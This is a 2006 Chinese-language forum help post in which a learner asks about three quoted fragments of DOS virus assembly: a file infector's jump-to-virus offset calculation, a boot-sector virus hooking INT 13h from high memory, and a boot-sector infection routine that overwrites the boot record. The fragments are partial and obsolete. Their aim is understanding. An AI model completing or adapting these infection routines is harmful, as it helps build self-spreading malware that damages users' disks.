-
-
[求助]病毒程序中的问题。谢谢
-
发表于:
2006-5-20 15:07
4952
-
第一个问题:一般文件型病毒把病毒体接在文件尾时,怎么确定文件开头jmp 病毒入口的地址呢。
也就是如何得到文件尾病毒的地址呢?
我看到有个文件型病毒是这样
mov ax,4202 ;cx=dx=0移到文件尾,取得长度
xor cx,cx
xor dx,dx
int 21h ;返回到ax
sub ax,3 ;这个减3是干么的
mov word ptr vir_jmp[1],ax ;文件长度-3?还是别的意思,怎么会是病毒入口地址
....
vir_jmp db 0e9h,?,?
----------------------------------------------------------------------------
第二个问题:
有个引导型病毒是这样:
;驻留部分
mov es,ax;取得基本内存大小减1KB,得到段址放到ax
;将病毒程序从7c00搬到高端es:0处
mov ax,es ;修改13h到病毒13h:newint13h
sub ax,7c0h
mov es,ax
mov bx,0
mov ds,bx
mov word ptr ds:[13*4],offset newint13h
mov word ptr ds:[13*4+2],es
;为什么高端地址-7c0h作为thenext和病毒13h的段地址呢,为什么不是es作为段址呢
mov ax,es
sub ax,7c0h
push ax
mov ax,offset thenext
push ax
retf ;接着执行thenext
thenext:
............;将原引导记录读到7c00,跳去执行
retn
newint13h:
..... ;监控部分
retf
--------------------------------------------------------------------------
第三个问题:
有个引导型病毒:
code segment
assume cs:code,ds:code
org 100h
jmp short start
db 20h dup(?)
db 'wn' ;wn作为已传染的标记
start::
.........
effect: ;传染部分
pusha
mov ax,0301h
mov dh,0
mov cx,2
int 13h ;保存原引导记录到2扇区
mov si,bx
add si,1b0h
push es
pop ds
push cs
pop es
mov di,7c00h+1b0h
mov cx,50h
cld
Rep movsb ;移动80字节,为什么只是80字节,为什么从1b0开始?
mov si,bx
add si,2
mov di,7c00h+2
mov cx,20h
cld
Rep movsb ;移动32字节,为什么是32字节,
mov ax,0301h ;将7c00开始的512B病毒写入到1扇区中
......
int 13h
popa
retn
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)